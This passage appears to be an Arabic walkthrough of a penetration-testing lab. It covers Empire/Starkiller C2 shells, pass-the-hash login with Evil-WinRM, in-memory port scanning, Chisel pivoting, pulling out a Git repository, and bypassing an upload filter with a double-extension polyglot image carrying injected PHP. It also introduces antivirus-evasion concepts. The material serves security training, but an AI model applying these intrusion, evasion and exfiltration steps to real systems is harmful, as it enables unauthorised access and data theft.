  • بعد ذلك، كتبنا أمر الويندوز الشهير whoami، ورد علينا النظام فوراً بصلاحياتنا NT AUTHORITY\SYSTEM.
  • لاحظ كيف تغير شكل السطر الأخير ليصبح C:\GitStack\gitphp >، هذا الشكل هو نفس شكل سطر أوامر الويندوز الحقيقي ويخبرك بالمسار (المجلد) الذي تتواجد فيه حالياً.

الشل التفاعلي في Empire CLI — whoami يعيد NT AUTHORITY\SYSTEM


🎨 ثانياً: الشل التفاعلي عبر الواجهة الرسومية (Starkiller)

في واجهة Starkiller، الأمر أسهل من ذلك بكثير، فالشاشة التفاعلية موجودة أمامك مباشرة ولا تحتاج لأي أوامر إضافية لفتحها!

🧐 شرح الصورة بالتفصيل:

  • بمجرد دخولك إلى صفحة العميل، وتحديداً في التبويب الأول INTERACT، ستلاحظ وجود شاشة سوداء على الجهة اليمنى. هذه هي الـ Interactive Shell الخاصة بك!
  • في الصورة المرفقة، تم كتابة أمر whoami في هذه الشاشة السوداء.
  • قام البرنامج بوضع الأمر في طابور التنفيذ (Task Queued)، ثم أظهر النتيجة تحتها مباشرة: NT AUTHORITY\SYSTEM.
  • على الرغم من أن شكل هذه الشاشة قد لا يبدو "مألوفاً" (Familiar) مقارنة بشاشة الأوامر العادية للويندوز، إلا أنها تعطيك نفس الوصول (Access) ونفس الصلاحيات لتنفيذ أوامر الـ PowerShell كأنك داخل الجهاز.

الشل التفاعلي في Starkiller — تبويب INTERACT مع تنفيذ whoami


💻 Empire CLI

  • اكتب interact AGENT_NAME
  • ثم اكتب shell
  • نفذ أوامر Windows/PowerShell
  • للخروج: Ctrl + C

🎨 Starkiller

  • ادخل لصفحة العميل (Agent)
  • تبويب INTERACT جاهز مباشرة
  • اكتب الأوامر في الشاشة السوداء
  • النتائج تظهر فوراً تحت الأمر

الخلاصة (Summary)

في هذه المهمة، تعلمنا كيفية الوصول إلى الشل التفاعلي (Interactive Shell) في Empire:

  • عبر CLI: أمر shell بعد الدخول للعميل يفتح شاشة أوامر حقيقية
  • عبر Starkiller: تبويب INTERACT يوفر شاشة تفاعلية فورية بدون أوامر إضافية
  • كلا الطريقتين تعطيك نفس الصلاحيات ونفس الوصول لجهاز الضحية

Task 32: Command & Control - Conclusion


📌 الخلاصة والأفكار الرئيسية (The Take-aways)

فيما يلي ملخص كل ما تعلمناه عن القيادة والسيطرة في 5 نقاط ذهبية:

01
🎯 الهدف من برامج الـ C2
"C2 Frameworks are used to consolidate access to a compromised machine, as well as streamline post-exploitation attempts"

برامج القيادة والسيطرة (مثل Empire) تُستخدم لغايتين أساسيتين:

  • Consolidate access (تثبيت الوصول): يعني بمجرد أن تخترق الجهاز، يساعدك الـ C2 على البقاء بداخله بشكل مستقر (حتى لو انقطع الاتصال أو أعيد تشغيل الجهاز).
  • Streamline post-exploitation (تسهيل ما بعد الاختراق): بدلاً من كتابة أوامر يدوية طويلة لسرقة الباسوردات أو فحص النظام، الـ C2 يوفر لك أدوات (Modules) جاهزة تنفذ هذه المهام بضغطة زر.
02
🌊 بحر الخيارات المتاحة
"There are many C2 Frameworks available, so look into which ones work best for your use case"

عالم الهاكرز مليء ببرامج الـ C2 (مثل Cobalt Strike، Covenant، Merlin.. الخ). كهاكر محترف، يجب أن تبحث وتختار البرنامج الذي يناسب السيناريو الخاص بك (Use Case).

(تذكر موقع The C2 Matrix الذي يتيح لك المقارنة بينها).

03
👑 لماذا Empire بالتحديد؟
"Empire is a good choice as a relatively well-rounded, open source C2 framework"

برنامج Empire يعتبر خياراً ممتازاً جداً لأنه:

  • Well-rounded (شامل/متكامل): يحتوي على كل ما تحتاجه.
  • Open source (مفتوح المصدر): مجاني ومتاح للجميع للتعديل عليه وتطويره.
📡 Listeners
🎣 Stagers
🕵️ Agents
⚔️ Modules
04
🔄 تطوير مستمر لا يتوقف
"Empire is still in active development, with upgrades and new features being released frequently"

بفضل شركة (BC-Security) التي تبنت المشروع، البرنامج ما زال يتطور بشكل نشط (Active development)، ويتم إضافة ميزات وتحديثات جديدة له باستمرار لمواكبة أحدث طرق الحماية والاختراق.

05
🎨 الواجهة الرسومية Starkiller
"Starkiller is a GUI front-end for Empire which makes collaboration using the framework very easy"

Starkiller هو ببساطة "الواجهة الرسومية" (GUI) التي تركب فوق محرك Empire. ميزته الكبرى ليست فقط سهولة الاستخدام بالماوس، بل إنه يجعل التعاون (Collaboration) بين فريق الاختراق (Red Team) سهلاً جداً، بحيث يمكن لأكثر من هاكر أن يشبكوا على نفس السيرفر ويديروا الأجهزة المخترقة معاً.


🏆

تم إنهاء قسم القيادة والسيطرة (C2) بنجاح!

لقد أتممت رحلة تعلم القيادة والسيطرة عبر Empire و Starkiller — من إنشاء Listeners و Stagers، مروراً بالتحكم بالـ Agents واستخدام الـ Modules، وصولاً إلى الـ Hop Listeners والـ Interactive Shell.

المرحلة القادمة: الانتقال إلى Personal PC والتعمق أكثر في الشبكة!


Task 33: Enumeration

الهدف (Objective)

الهدف من هذه المرحلة هو فحص الشبكة الداخلية (Internal Network) انطلاقاً من الخادم الذي قمنا باختراقه مسبقاً (10.200.180.150)، للوصول إلى أهداف جديدة داخل الشبكة، وتحديداً جهاز المستخدم Thomas (10.200.180.100)، وذلك بطريقة خفية تتجاوز برامج الحماية (AV Evasion).

الأداة المستخدمة Invoke-Portscan.ps1

بدلاً من استخدام أدوات تقليدية مثل Nmap والتي قد تتطلب تثبيتاً أو تلفت انتباه الجدران النارية، سنعتمد على سكربت Invoke-Portscan.ps1 (جزء من مشروع Empire).

أسباب استخدام هذا السكربت

  • يعمل في الذاكرة (In-Memory Execution) يتم تحميل السكربت مباشرة إلى ذاكرة الوصول العشوائي (RAM) الخاصة بالخادم المخترق دون الحاجة لكتابة أي ملفات على القرص الصلب (Disk)، مما يجعله شبه غير مرئي لبرامج الأنتيفيروس (AV).
  • التحرك الجانبي (Lateral Movement) يسمح لنا بإجراء فحص للمنافذ (Port Scanning) من منظور الخادم المخترق، متجاوزين بذلك أي قيود خارجية قد تمنعنا من الوصول المباشر للأجهزة الأخرى في الشبكة.

خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: التجهيز وتحميل السكربت (Preparation)

قمنا بإنشاء مجلد عمل محلي على نظام Kali Linux، ثم جلبنا السكربت المطلوب من مستودع GitHub الخاص بمشروع Empire.

# إنشاء مجلد جديد باسم my_scripts والدخول إليه
mkdir my_scripts
cd my_scripts

# تحميل السكربت مباشرة من الإنترنت
wget https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/situational_awareness/network/Invoke-Portscan.ps1

2 الخطوة الثانية: الاتصال وحقن السكربت في الذاكرة (Session Hooking)

باستخدام أداة Evil-WinRM، قمنا بإعادة الاتصال بالخادم المخترق (10.200.180.150) باستخدام صلاحيات الـ Administrator والـ NTLM Hash الذي استخرجناه سابقاً.

السر هنا: استخدمنا المعامل -s . لإخبار الأداة بتحميل كافة السكربتات الموجودة في المجلد المحلي الحالي (my_scripts) مباشرة إلى ذاكرة الجلسة (Session Memory) على الخادم الهدف.

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.180.150 -s .

3 الخطوة الثالثة: تفعيل السكربت وتنفيذ الفحص (Execution & Scanning)

بمجرد دخولنا إلى جلسة الـ WinRM، أصبح السكربت متاحاً في الذاكرة.

1. تفعيل السكربت

نقوم بمناداة السكربت ليتم تهيئته داخل الجلسة الحالية (لن يظهر أي مخرجات مرئية لهذه الخطوة، وهو أمر طبيعي).

Invoke-Portscan.ps1

2. بدء الفحص

قمنا بتوجيه السكربت لفحص جهاز Thomas (10.200.180.100)، مع التركيز على أهم 50 منفذاً (Top 50 Ports) لتسريع العملية وتقليل الضجيج على الشبكة.

Invoke-Portscan -Hosts 10.200.180.100 -TopPorts 50

الخلاصة (Summary)

في هذه المهمة، استخدمنا تقنيات متقدمة للتحرك الجانبي داخل الشبكة المخترقة:

  • تحميل وتنفيذ سكربت PowerShell مباشرة في الذاكرة دون ترك أثر على القرص
  • استخدام Evil-WinRM مع خاصية تحميل السكربتات (-s) للحقن الآمن
  • فحص الشبكة الداخلية من منظور الخادم المخترق لاكتشاف الأهداف الجديدة
  • تطبيق مبادئ التخفي (Stealth) وتجاوز الأنظمة الدفاعية (AV Evasion)

Task 34: Pivoting

الهدف (Objective)

الهدف من هذه المرحلة هو الوصول إلى خادم الويب الداخلي الموجود على جهاز المستخدم Thomas (10.200.180.100) والذي لا يمكن الوصول إليه مباشرة من جهازنا (Kali). لتحقيق ذلك، سنقوم بتنفيذ تقنية Pivoting من خلال إنشاء نفق (Tunnel) باستخدام أداة Chisel. سنحول الخادم المخترق (10.200.180.150) إلى "وسيط" أو بروكسي (Proxy) يمرر اتصالاتنا إلى الشبكة الداخلية.

الأدوات المستخدمة

Chisel

لإنشاء نفق اتصال (TCP/UDP Tunnel) وتوفير SOCKS5 Proxy.

Evil-WinRM

لرفع الملفات وتنفيذ الأوامر على السيرفر الوسيط.

FoxyProxy

إضافة للمتصفح لتوجيه مسار الاتصال عبر النفق الذي أنشأناه.

Wappalyzer

إضافة للمتصفح لتحليل التقنيات المستخدمة في المواقع.


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: التجهيز وتحميل الأداة (Preparation)

نحتاج إلى نسختين من أداة Chisel: نسخة بصيغة .exe لتعمل على خادم ويندوز المخترق، ونسخة لتعمل محلياً على نظام Kali Linux. من خلال تيرمينال جديد (مستقل عن جلسة Evil-WinRM)، قمنا بتحميل وتجهيز الأدوات:

# تجهيز نسخة Windows
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz
gunzip chisel_1.7.7_windows_amd64.gz
mv chisel_1.7.7_windows_amd64 chisel.exe

# تجهيز نسخة Linux (Kali)
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel

2 الخطوة الثانية: رفع الأداة للهدف (Uploading)

بالعودة إلى جلسة Evil-WinRM المتصلة بالسيرفر المخترق، قمنا برفع نسخة الويندوز من أداة Chisel إلى النظام:

upload chisel.exe

3 الخطوة الثالثة: إعداد الجدار الناري وتشغيل السيرفر (Firewall & Server Setup)

للسماح لأداة Chisel باستقبال الاتصالات من جهازنا، كان لزاماً علينا تعديل قواعد الجدار الناري (Firewall) الخاص بالسيرفر لفتح المنفذ 47000.

1. إضافة قاعدة الجدار الناري (Firewall Rule):

netsh advfirewall firewall add rule name="Chisel-Port" dir=in action=allow protocol=TCP localport=47000

(النتيجة المتوقعة: Ok.، مما يؤكد نجاح فتح المنفذ).

2. تشغيل Chisel كخادم (Server Mode):

قمنا بتشغيل الأداة للاستماع على المنفذ 47000 وتوفير بروكسي SOCKS5.

.\chisel.exe server -p 47000 --socks5

(ملاحظة: سيبقى التيرمينال معلقاً في هذه الحالة، مما يعني أن الخادم يعمل وينتظر الاتصال بصمت).

4 الخطوة الرابعة: الاتصال من الكالي (Client Connection)

الآن، من جهاز الكالي (وفي التيرمينال المستقل حيث يوجد ملف chisel الخاص باللينكس)، قمنا بالاتصال بالخادم الوسيط لإنشاء النفق وربطه محلياً بالمنفذ 1080:

./chisel client 10.200.180.150:47000 1080:socks

(بمجرد ظهور رسالة Connected، يكون النفق قد تم إنشاؤه بنجاح).

5 الخطوة الخامسة: إعداد المتصفح واستكشاف الهدف (Browser Setup & Enumeration)

أصبح لدينا الآن مسار آمن للشبكة الداخلية عبر المنفذ المحلي 1080.

1. تكوين FoxyProxy (في متصفح Firefox):

  • النوع (Type): SOCKS5
  • العنوان (IP): 127.0.0.1
  • المنفذ (Port): 1080

(تم تفعيل هذا البروكسي لتوجيه حركة تصفحنا).

2. الاستكشاف (Enumeration):

  • قمنا بزيارة الهدف الداخلي عبر الرابط: http://10.200.180.100
  • باستخدام إضافة Wappalyzer المدمجة في المتصفح، قمنا بتحليل البصمة التقنية (Fingerprinting) للموقع لجمع معلومات حول الخادم واللغات المستخدمة.

النتيجة (Result)

من خلال تحليل الموقع الداخلي لـ Thomas باستخدام Wappalyzer، تمكنا من الإجابة على متطلب التاسك ومعرفة لغة البرمجة المستخدمة في الواجهة الخلفية (Backend) وإصدارها بدقة.

لغة البرمجة وإصدارها (Programming Language & Version):
PHP 7.4.11


الخلاصة (Summary)

في هذه المهمة، قمنا بتطبيق تقنيات Pivoting المتقدمة:

  • إنشاء نفق SOCKS5 باستخدام Chisel للوصول إلى الشبكة الداخلية
  • تكوين الجدار الناري للسماح بالاتصالات الواردة على منفذ محدد
  • ربط النفق محلياً وتوجيه حركة المتصفح عبر FoxyProxy
  • إجراء استكشاف تقني للموقع الداخلي باستخدام Wappalyzer
  • تحديد البصمة التقنية للخادم الهدف (PHP 7.4.11)

Task 35: The Wonders of Git

الهدف (Objective)

الهدف من هذه المرحلة هو الوصول إلى الكود المصدري (Source Code) الخاص بتطبيق الويب الداخلي. بما أن السيرفر يستخدم GitStack، فإن المستودعات (Repositories) مخزنة محلياً. سنقوم بتحديد مكان المستودع، سحبه إلى جهازنا (Exfiltration)، إعادة بناء الكود من ملفات Git الخام، ثم تحليله بحثاً عن ثغرات أمنية (White-box Testing).

الأدوات المستخدمة

Evil-WinRM

للتفاعل مع السيرفر وتنفيذ أوامر PowerShell.

PowerShell (Compress-Archive)

لضغط الملفات قبل تحميلها لتسريع العملية.

GitTools

أداة لاستخراج ملفات الكود الصالحة للقراءة من ملفات .git المعطوبة أو الخام.


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: تحديد مسار المستودع (Identification)

أولاً، نحتاج لمعرفة المسار الفعلي لمستودعات Git على السيرفر. المسار الافتراضي لبرنامج GitStack هو C:\GitStack\repositories.

قمنا بالتحقق من محتويات هذا المجلد:

ls C:\GitStack\repositories

النتيجة: وجدنا المستودع المطلوب في المسار:

C:\GitStack\repositories\Website.git

2 الخطوة الثانية: سحب المستودع (Exfiltration Strategy)

بما أن مجلدات Git تحتوي على آلاف الملفات الصغيرة، فإن محاولة تحميلها واحداً تلو الآخر عبر download ستكون عملية بطيئة جداً وقد تفشل.

الحل الأمثل: ضغط المجلد بالكامل على السيرفر ثم تحميله كملف واحد.

1. ضغط المستودع (Compression):

Compress-Archive -Path C:\GitStack\repositories\Website.git -DestinationPath Website.zip

2. تحميل الملف المضغوط (Download):

download Website.zip

3 الخطوة الثالثة: المعالجة والاستخراج (Processing & Extraction)

بعد تحميل الملف Website.zip إلى جهاز Kali، قمنا بفك الضغط وإعادة تسمية المجلد ليطابق بنية Git القياسية:

unzip Website.zip
mv Website.git .git

تنويه: إذا واجهت مشاكل في الصلاحيات أثناء التعامل مع المجلد، استخدم الأمر chmod -R 777 .git.

لاستخراج الكود المصدري من ملفات Git الخام، استخدمنا أداة GitTools:

# تحميل الأداة
git clone https://github.com/internetwache/GitTools

# استخراج الملفات (Reconstruction)
./GitTools/Extractor/extractor.sh . source_code

4 الخطوة الرابعة: تحليل الكود (Code Analysis)

بعد انتهاء عملية الاستخراج، توجهنا للمجلد الناتج source_code. المهمة تتطلب البحث في أحدث نسخة من الكود (والتي تحمل الهاش 345ac8b236064b431fa43f53d91c98c4834ef8f3).

1. الدخول لمجلد الهاش الصحيح:

cd source_code
cd 1-345ac8b236064b431fa43f53d91c98c4834ef8f3

2. الفحص (Auditing):

بحثنا داخل مجلد resources وتحديداً ملف index.php لفهم كيفية تعامل الموقع مع الملفات المرفوعة.

cat resources/index.php

النتائج (Findings)

من خلال قراءة كود index.php، تمكنا من فهم آلية عمل "فلتر الرفع" (Upload Filter).

  • الملف المسؤول: resources/index.php
  • الوظيفة: يستقبل الملفات من المستخدمين ويتحقق من امتداداتها
  • الثغرة المحتملة: الكود يكشف لنا الامتدادات المسموحة والممنوعة، وكيفية التحقق منها، مما سيمهد الطريق لنا في Task 36 لتجاوز هذا الفلتر ورفع Shell خبيث

الخلاصة (Summary)

في هذه المهمة، قمنا بعملية استخراج ذكية للكود المصدري:

  • تحديد موقع مستودع Git على السيرفر المخترق (C:\GitStack\repositories\Website.git)
  • استخدام تقنية الضغط لتسريع عملية سحب البيانات (Exfiltration)
  • إعادة بناء الكود من ملفات .git الخام باستخدام GitTools
  • تحليل الكود المصدري (White-box Testing) لاكتشاف آلية فلتر رفع الملفات
  • تحديد الثغرة المحتملة في resources/index.php لاستغلالها لاحقاً

الخطوة التالية: في Task 36 سنستخدم المعلومات التي حصلنا عليها لتجاوز فلتر الرفع واختراق النظام بشكل كامل.


Task 36: Website Code Analysis

الهدف (Objective)

الهدف من هذه المرحلة هو إجراء فحص أمني للكود المصدري (White-box Testing) الخاص بملف resources/index.php الذي قمنا باستخراجه في المرحلة السابقة. سيعتمد عملنا هنا على قراءة الكود لفهم آلية عمل "فلتر رفع الملفات" (File Upload Filter) واكتشاف أي ثغرات منطقية (Logic Flaws) تسمح لنا بتجاوزه، بالإضافة إلى استخراج أي معلومات حساسة تركها المطور في التعليقات (Developer Notes).


الجزء الأول: استخراج المعلومات (Information Gathering)

أثناء قراءة الكود المصدري، وجدنا في نهاية الملف تعليقات تركها المطور (Thomas) عبارة عن قائمة مهام (To-Do List). هذه التعليقات غالباً ما تكون كنزاً للمخترقين لأنها تكشف عن خطط الحماية أو معلومات داخلية.

1. معلومات شخصية/إدارية:

في السطر الأخير من قائمة المهام، كتب المطور: - Phone Mrs Walker about the neighbourhood watch meetings.

النتيجة: Thomas يحتاج للاتصال بالسيدة ووكر بخصوص neighbourhood watch meetings.

2. آلية الحماية الحالية:

في النقطة الثالثة من القائمة، كتب المطور: - Upgrade the filter on this page. Can't rely on basic auth for everything. هذا يخبرنا أن الصفحة التي تحوي نموذج رفع الملفات ليست متاحة للجميع.

النتيجة: طريقة الحماية المستخدمة حالياً لمنع الوصول غير المصرح به للصفحة هي Basic Auth (المصادقة الأساسية).


الجزء الثاني: تحليل الكود (Code Auditing)

الآن ننتقل إلى الجزء الأهم: كيف يتعامل السيرفر مع الملفات المرفوعة؟

1. القائمة البيضاء (Whitelist):

في السطر الخامس من الكود، وجدنا المصفوفة التالية:

$goodExts = ["jpg", "jpeg", "png", "gif"];

النتيجة: السيرفر يقبل فقط الملفات التي تحمل الامتدادات: jpg,jpeg,png,gif.

2. اكتشاف الثغرة (The Vulnerability):

تكمن الثغرة القاتلة في كيفية تحقق الكود من امتداد الملف. وجدنا السطر التالي:

$extension = explode(".", $_FILES["file"]["name"])[1];

شرح الخطأ المنطقي (Logic Flaw):

  • الدالة explode(".", ...) تقوم بتقسيم اسم الملف إلى مصفوفة (Array) بناءً على النقطة ..
  • الكود يطلب التحقق من العنصر الثاني في المصفوفة دائماً (والذي يحمل الـ Index رقم [1]).
  • هذا الافتراض خاطئ برمجياً، لأنه يفترض أن اسم الملف يحتوي على نقطة واحدة فقط (مثلاً: image.jpg).

استراتيجية الاستغلال (Exploitation Strategy)

بناءً على التحليل السابق، يمكننا خداع الفلتر وتجاوزه (Filter Bypass) بكل سهولة باستخدام الامتدادات المزدوجة (Double Extensions).

سيناريو الهجوم:

1. سنقوم بإنشاء ملف خبيث (Reverse Shell) ونسميه: shell.jpg.php.

2. عندما يصل الملف للسيرفر، سيقوم الكود بتقسيم الاسم إلى ثلاثة أقسام:

[0] => shell
[1] => jpg
[2] => php

3. الكود سيفحص العنصر رقم [1] وهو jpg.

4. بما أن jpg موجود ضمن القائمة البيضاء ($goodExts)، سيسمح الفلتر بمرور الملف!

5. السيرفر سيحفظ الملف باسمه الكامل shell.jpg.php، وبما أن امتداده الفعلي ينتهي بـ .php، سيقوم السيرفر بتنفيذه ككود برمجي بدلاً من عرضه كصورة، مما يمنحنا اختراقاً كاملاً للسيرفر.


الخلاصة (Summary)

في هذه المهمة، قمنا بإجراء فحص أمني شامل للكود المصدري:

  • استخراج معلومات حساسة من تعليقات المطور (Developer To-Do List)
  • تحديد آلية الحماية المستخدمة: Basic Auth
  • اكتشاف القائمة البيضاء للامتدادات المسموحة: jpg, jpeg, png, gif
  • تحليل الكود واكتشاف ثغرة منطقية قاتلة في فلتر رفع الملفات
  • تصميم استراتيجية استغلال باستخدام Double Extensions (shell.jpg.php)

الخطوة التالية: في المهام القادمة سنقوم بتطبيق هذا الاستغلال عملياً للحصول على Reverse Shell كامل على جهاز Thomas!


Task 37: Exploit PoC

الهدف (Objective)

الهدف من هذه المرحلة هو إثبات القدرة على تنفيذ أوامر برمجية على السيرفر (Remote Code Execution - RCE) من خلال استغلال ثغرة رفع الملفات التي اكتشفناها.

ملاحظة هامة: لن نقوم برفع (Reverse Shell) كامل في هذه الخطوة، والسبب هو تجنب إثارة تنبيهات برامج مكافحة الفيروسات (Antivirus Evasion) الموجودة على نظام Windows. بدلاً من ذلك، سنكتفي بإنشاء Proof of Concept (PoC) (إثبات مبدأ) بسيط وآمن يؤكد لنا إمكانية تنفيذ الأكواد بنجاح.

التكتيك المستخدم (Methodology)

لتجاوز الحماية، سنعتمد على هجوم Polyglot File (ملف هجين):

1. تجاوز فحص المحتوى (getimagesize)

سنستخدم صورة حقيقية (Valid JPEG) بحيث يراها السيرفر كصورة سليمة 100%.

2. تجاوز فحص الامتداد (Extension Filter)

سنستغل الخطأ المنطقي الذي وجدناه في Task 36 باستخدام امتداد مزدوج (.jpeg.php).

3. حقن الكود (Metadata Injection)

سنقوم بدمج كود الـ PHP الخاص بنا داخل البيانات الوصفية للصورة (ExifData)، وتحديداً في حقل التعليقات (Comment).


خطوات التنفيذ (Execution Steps)

1 الخطوة الأولى: الوصول والمصادقة (Authentication)

تطبيق الويب محمي بطبقة (Basic Auth) كما قرأنا في تعليقات المطور.

1. توجهنا إلى الرابط المستهدف عبر النفق (Tunnel) الذي أنشأناه سابقاً:

http://10.200.180.100/resources

2. قمنا بتسجيل الدخول باستخدام بيانات الاعتماد التي حصلنا عليها سابقاً:

Username: Thomas
Password: i<3ruby

(بعد تسجيل الدخول بنجاح، ظهرت لنا لوحة تحكم رفع الصور وبها صورة قطة).

2 الخطوة الثانية: صناعة البايلود (Payload Crafting)

قمنا بتجهيز الصورة الملغمة باستخدام تيرمينال Kali الخاص بنا.

1. جلب صورة حقيقية:

استخدمنا صورة خلفية موجودة مسبقاً في نظام Kali وأعدنا تسميتها بالامتداد المزدوج.

cp /usr/share/backgrounds/kali-16x9/kali-cubism.jpg test-Hacker.jpeg.php

2. حقن كود الـ PHP (Exif Injection):

باستخدام أداة exiftool، قمنا بحقن كود PHP بسيط داخل حقل الـ Comment الخاص بالصورة. وظيفة هذا الكود هي طباعة جملة "Test Payload" وإيقاف تنفيذ باقي محتوى الصورة عبر دالة die() ليظهر النص بوضوح.

exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-Hacker.jpeg.php

3 الخطوة الثالثة: الاستغلال ورفع الملف (Exploitation)

عدنا إلى واجهة الويب لرفع البايلود الخاص بنا:

  1. ضغطنا على زر Browse.
  2. تجاوز قيود المتصفح (Client-Side bypass): قمنا بتغيير نوع الملفات المسموح رؤيتها من المتصفح من Supported Types إلى All Files لنتمكن من اختيار ملفنا الذي ينتهي بـ .php.
  3. اخترنا الملف test-Hacker.jpeg.php وقمنا بالرفع.

النتيجة: استلمنا رسالة File uploaded successfully، مما يؤكد نجاح تجاوز الفلتر.

4 الخطوة الرابعة: التحقق من تنفيذ الكود (Verification & Execution)

للتأكد من أن السيرفر قام بتنفيذ الكود المدمج في الصورة، توجهنا إلى مسار حفظ المرفوعات:

http://10.200.180.100/resources/uploads/test-Hacker.jpeg.php

النتيجة (Result)

عند تصفح الرابط، وبدلاً من عرض الصورة، تفاعل السيرفر مع امتداد .php وقام بتنفيذ الكود المحقون في الـ ExifData.

ظهرت لنا صفحة بيضاء تحتوي حصرياً على النص:

Test Payload

الخلاصة: لقد أثبتنا بنجاح إمكانية تنفيذ أوامر برمجية (RCE) على خادم Thomas متجاوزين جميع آليات الفلترة!


الخلاصة التقنية (Technical Summary)

في هذه المهمة، قمنا بتنفيذ هجوم Polyglot File ناجح:

  • استخدمنا صورة JPEG حقيقية لتجاوز فحص getimagesize()
  • طبقنا تقنية الامتداد المزدوج (.jpeg.php) لخداع فلتر الامتدادات
  • حقنّا كود PHP داخل البيانات الوصفية (ExifData) باستخدام exiftool
  • تجاوزنا القيود الأمامية (Client-Side) في المتصفح
  • أثبتنا القدرة على تنفيذ الأكواد عن بُعد (RCE) بنجاح

الخطوة التالية: الآن بعد أن أثبتنا القدرة على تنفيذ الأكواد، يمكننا في المهام القادمة رفع Reverse Shell كامل للحصول على تحكم شامل في النظام!


Task 38: AV Evasion (Introduction)

الهدف (Objective)

الهدف من هذا القسم هو فهم الأساسيات النظرية لتقنيات تجاوز برامج مكافحة الفيروسات (Antivirus Evasion). عالم الـ AV Evasion هو أشبه بلعبة "قط وفأر" مستمرة بين مطوري الحماية والمخترقين. في هذا التقرير، نستعرض نوعي التخطي الأساسيين، التحديات الحديثة في أنظمة ويندوز، والمنهجية الصحيحة للتعامل معها.


المفاهيم الأساسية (Core Concepts)

1. أنواع التخطي (Categories of Evasion)

ينقسم تجاوز برامج الحماية إلى فئتين رئيسيتين:

التخطي على القرص (On-Disk Evasion)

تعتمد هذه الطريقة على حفظ الملف الخبيث (مثل أداة أو ملف تنفيذي .exe) فعلياً على القرص الصلب الخاص بالهدف ثم تشغيله. تتطلب هذه الطريقة تعديلاً وتعتيماً كبيراً للملف ليتجاوز الفحص الآلي للقرص.

التخطي في الذاكرة (In-Memory Evasion)

هنا لا يتم حفظ أي شيء على القرص الصلب. بدلاً من ذلك، يتم استيراد السكربت (مثل وحدات PowerShell) مباشرة من الإنترنت أو من جهاز المهاجم إلى ذاكرة الوصول العشوائي (RAM) وتشغيله هناك. تاريخياً، كانت هذه الطريقة ممتازة لتجاوز الحماية لأن مضادات الفيروسات القديمة لم تكن تفحص الذاكرة بكفاءة.

2. واجهة فحص البرامج الضارة (AMSI)

للتصدي لهجمات الذاكرة (In-Memory)، ابتكرت مايكروسوفت تقنية AMSI (Anti-Malware Scan Interface).

كيف تعمل؟ هي ميزة في الويندوز تقوم باعتراض السكربتات أثناء تحميلها في الذاكرة، وتقدم "نسخة" منها لبرامج الحماية لفحصها قبل أن يتم تنفيذها. هذا جعل هجمات In-Memory أصعب بكثير من السابق.

3. منهجية التخطي الاحترافية (Evasion Methodology)

لكتابة بايلود (Payload) ناجح وتجاوز الحماية، يجب اتباع الخطوات التالية:

1. الاستطلاع (Fingerprinting): معرفة نظام التشغيل ونوع الـ AV المستخدم (يمكن استخدام أدوات مثل SharpEDRChecker أو Seatbelt إذا كان لدينا وصول مبدئي).

2. المحاكاة (Simulation): بناء بيئة وهمية (VM) مطابقة لجهاز الضحية لاختبار البايلود.

3. العزل (Isolation): ⚠️ خطوة حرجة: يجب فصل البيئة الوهمية عن الإنترنت أو إيقاف "الحماية السحابية - Cloud Protection"، لكي لا يقوم الـ AV برفع البايلود الذي نتعب في برمجته إلى خوادم الشركة وفضحه!

4. التعتيم (Obfuscation): تغيير أسماء المتغيرات، التشفير، وإعادة صياغة الكود لتغيير بصمته (Signature) حتى لا يتعرف عليه الـ AV.


حل الأسئلة (Answers)

بناءً على التحليل والصورة المرفقة للاختبار، إليك الإجابات الموثقة للأسئلة:

1. Which category of evasion covers uploading a file to the storage on the target before executing it?

(أي فئة من التخطي تتضمن رفع ملف إلى مساحة التخزين على الهدف قبل تنفيذه؟)

On-Disk Evasion

2. What does AMSI stand for?

(إلى ماذا ترمز كلمة AMSI؟)

Anti-Malware Scan Interface

3. Which category of evasion does AMSI affect?

(أي فئة من التخطي تتأثر بنظام AMSI؟)

In-Memory Evasion

الخلاصة (Summary)

في هذه المهمة التعليمية، تعرفنا على:

  • الفرق الجوهري بين On-Disk Evasion و In-Memory Evasion
  • دور تقنية AMSI في حماية أنظمة Windows من هجمات الذاكرة
  • المنهجية الصحيحة لتطوير بايلود متخفي (الاستطلاع → المحاكاة → العزل → التعتيم)
  • أهمية عزل بيئة الاختبار لمنع كشف البايلود قبل استخدامه

الخطوة التالية: في المهام القادمة سنطبق هذه المفاهيم عملياً لتطوير بايلود حقيقي يتجاوز Windows Defender!


Task 39: AV Detection Methods

الهدف (Objective)

الهدف من هذه المرحلة هو الفهم العميق لآليات عمل برامج مكافحة الفيروسات (Antivirus Software). قبل البدء بتطبيق تقنيات التعتيم (Obfuscation) عملياً لتجاوز الحماية، يجب أن نفهم أولاً كيف يقوم الخصم بتحليل ملفاتنا واكتشافها. تعتمد برامج الحماية الحديثة على آليتين رئيسيتين: الكشف الثابت (Static) والكشف الديناميكي (Dynamic).


أولاً: الكشف الثابت (Static Detection)

في هذا النوع، يقوم الـ AV بفحص الملف وهو "مغلق" (مخزن على القرص) دون تنفيذه، تماماً مثل تفتيش الحقائب في المطار عبر أجهزة الأشعة السينية.

يعتمد هذا الفحص على طريقتين:

1. تحليل البصمة (Hashsum/Signature Matching)

الآلية: يتم حساب القيمة الخوارزمية (Hash) للملف ومقارنتها بقاعدة بيانات ضخمة تحتوي على بصمات الفيروسات المعروفة مسبقاً.

استراتيجية التجاوز (Evasion): سهلة للغاية (Trivial). مجرد إضافة مسافة فارغة، أو تغيير حرف واحد في التعليقات داخل الكود المصدري سيؤدي إلى تغيير الهاش بالكامل، مما يجعله ملفاً "جديداً" وغير معروف بالنسبة لبرنامج الحماية.

2. مطابقة النصوص والأنماط (Byte/String Matching)

الآلية: يبحث الـ AV داخل الملف عن نصوص، دوال (Functions)، أو أنماط برمجية شائعة الاستخدام في الاختراق (مثل استخدام دوال eval, system, أو base64_decode في ملفات PHP).

